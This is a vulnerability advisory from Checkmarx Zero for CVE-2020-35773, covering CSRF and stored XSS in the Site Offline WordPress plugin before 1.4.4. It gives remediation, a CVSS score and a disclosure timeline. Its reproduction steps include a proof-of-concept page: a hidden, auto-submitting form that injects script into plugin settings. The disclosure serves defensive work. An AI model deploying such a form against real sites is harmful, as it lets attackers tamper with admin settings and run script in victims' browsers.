---
title: "CX-2020-4292"
date: "2020-12-23T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4292/"
---

# CX-2020-4292

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Dec 23, 2020

CVE-2020-35773  **Published:** Dec 23, 2020

6.5 Medium Severity CSRF RCE webshell wordpress XSS

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

The site-offline WordPress plugin before version 1.4.4 was vulnerable to Cross-site Request Forgery (CSRF) and Cross-Site Scripting (XSS) attacks.

## Product

Site-offline wordpress plugin before version 1.4.4

## Impact

Subject to WordPress and server configurations, successful exploitation of the Cross-Site Scripting vulnerability may lead to remote code execution.

## Steps to reproduce

1. Setup a WordPress website with the Site Offline plugin installed and activated.
2. Admin visits the page

    ```
    <html><head></head>
    <body>
    <form style="opacity: 0;" action="http://local-wp/wp-admin/admin.php?page=sahu_site_offline_wp" method="POST">
    <input type="text" name="action_dashboard" value="sahu_sop_dashboard"/>
    <input type="number" name="sahu_so_status" value='1' />
    <input type="text" name="so_headline" value="" onfocus='alert(1)'" />
    <input type="text" name="so_description" value="<img src=x onerror=alert(1)>" />
    <input type="number" name="display_logo" value='0' />
    <input type="text" name="so_logo_ur" value="">
    <button>submit</button>
    </form>
    <script>document.querySelector('form').submit();</script>
    </body></html>
    ```

### Expected result:

An alert should be shown on the target WordPress admin panel.

## Remediation

Update Site-offline plugin to 1.4.4 or above.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [Yaniv Nizry](https://twitter.com/ynizry).

## Resources

1. [Changeset](https://plugins.trac.wordpress.org/changeset/2445009/)
2. [Site Offline WordPress Plugin](https://wordpress.org/plugins/site-offline/)

0  Medium Severity CVSS v3.1 Score

   6.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: None

Advisory Timeline1. Discovered Dec 8, 2020 Notified the maintainer
2. Fixed Dec 23, 2020 Fix commit got released

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)